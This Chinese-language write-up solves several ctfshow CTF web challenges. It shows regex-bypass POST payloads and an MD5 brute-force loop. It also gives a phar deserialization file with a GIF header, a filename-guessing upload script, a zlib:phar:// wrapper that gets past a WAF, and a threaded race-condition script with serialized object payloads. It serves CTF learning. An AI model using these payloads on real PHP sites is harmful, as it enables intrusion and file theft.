ctfshow 大吉大利杯

veryphp

看着思路很简单,就是利用post传参和extract函数来给需要的参数赋值,再利用call_user_func调用qwq中的oao静态方法。

感觉最麻烦的就是

preg_match('/^\-[a-e][^a-zA-Z0-8](.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)

这个正则函数的绕过,传入的一串字符串需要匹配上。

在线网站:regex101: build, test, and debug regex

尝试了一会后得到一串字符:

-a911111111>>>>aabcphp@Rr2

然后还要绕过_,可以用空格或者[替代。

POST传入:shaw[root=-a9<b>11111111>>>>aabcphp@Rr2

得到

md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f&nbsp;&amp;&amp;&nbsp;strlen($SecretNumber)===5

很明显SecretNumber是一个长度为5的数字,爆破出来就好:


for($i=10000;$i<=99999;$i++)
{
    if(md5("shaw".($i)."root")=='166b47a5cb1ca2431a0edfcef200684f'){
        echo $i;
    }
}

最后的payload:

shaw[root=-a9<b>11111111>>>>aabcphp@Rr2&ans=21475&my[ans=qwq::oao

ctfshow 大吉大利杯_第1张图片

虎山行

这个题出的有意思,写了好一会。

先访问www.rar下载源码。

Seay自动审计一下,发现33处有问题,一个一个看一下。

ctfshow 大吉大利杯_第2张图片

在这个地方参数完全可控,后缀也没有.dat,存在任意文件读取漏洞。

访问一下,但没成功,应该是需要成为管理员。

在install.php中发现管理员信息

ctfshow 大吉大利杯_第3张图片

然后利用漏洞读取一下flag

ctfshow 大吉大利杯_第4张图片

访问一下ctfshowsecretfilehh

ctfshow 大吉大利杯_第5张图片

ctfshow 大吉大利杯_第6张图片

之前看到过文件上传页面,可以上传jpg、png、gif文件,所以可以利用phar反序列化来得到hint.txt。


class Ctfshow{
    public $ctfer = 'shower';
}
  $a=new Ctfshow();
  $phar = new Phar('phar.phar');
  $phar->setStub('GIF89a'.'');
  $phar->setMetadata($a);
  $phar->addFromString('test.txt','dky');
?>

然后改后缀为jpg,上传文件,但发现其并不回显文件名称,且文件名称被修改,所以去读取一下flag.php文件。


error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000)   // 小于 2000kb
&& in_array($extension, $allowedExts))
{
	if ($_FILES["file"]["error"] > 0)
	{
		echo "文件出错: " . $_FILES["file"]["error"] . "
"
; } else { if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已经存在。 "; } else { $md5_unix_random =substr(md5(time()),0,8); $filename = $md5_unix_random.'.'.$extension; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); echo "上传成功,文件存在upload/"; } } } else { echo "文件类型仅支持jpg、png、gif等图片格式"; } ?>

写个文件上传脚本。

import requests
import time
import hashlib
def geturl(s):
    a = hashlib.md5(str(int(s)).encode()).hexdigest()
    filename = a[:8]
    return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):
    url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"
    files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}
    re1=requests.post(url,files=files)
    a=time.time()
    re2=requests.get(geturl(a))
    if("我的网站" not in  re2.text):
        print(geturl(a))
        break

然后利用phar伪协议读取文件,利用zlib://协议绕过waf:

payload:

?file=zlib:phar:///var/www/html/upload/017ea83e.jpg

又是一个路由:

flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory

show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

利用条件竞争,在其system命令执行之前访问flag.txt文件,这次有了unserialize函数,不需要再上传文件。

import io
import requests
import threading
def write():
    while True:
        url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/ctfshowgetflaghhhh/"
        resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():
    while True:
        r=requests.get('http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/flag.txt')
        if("我的网站" not in r.text):
            print(r.text)
            print('success!!!')
            event.clear()
            break;
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,20): 
            threading.Thread(target=write,args=()).start()
        for i in range(1,20):
            threading.Thread(target=read,args=()).start()
    event.set()

spaceman

非预期了,先看源码:


error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

本来这题应该是还有另外一个参数,利用这两个可控参数去字符逃逸,本想本地修改一下再做,但本地extract代码一直无法实现。

paylaod:

user name=1&pass word=ctfshowvip

虎山行’s revenge

改了个名字,直接还用之前的脚本即可。

import requests
import time
import hashlib
def geturl(s):
    a = hashlib.md5(str(int(s)).encode()).hexdigest()
    filename = a[:8]
    return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):
    url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"
    files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}
    re1=requests.post(url,files=files)
    a=time.time()
    re2=requests.get(geturl(a))
    if("我的网站" not in  re2.text):
        print(geturl(a))
        break

payload:

?file=zlib:phar:///var/www/html/upload/f815a59f.jpg
import io
import requests
import threading
def write():
    while True:
        url="http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/hsxctfshowsecretgetflagl/"
        resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():
    while True:
        r=requests.get('http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/flag.txt')
        if("我的网站" not in r.text):
            print(r.text)
            print('success!!!')
            event.clear()
            break;
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,20): 
            threading.Thread(target=write,args=()).start()
        for i in range(1,20):
            threading.Thread(target=read,args=()).start()
    event.set()

你可能感兴趣的:(ctfshow,php)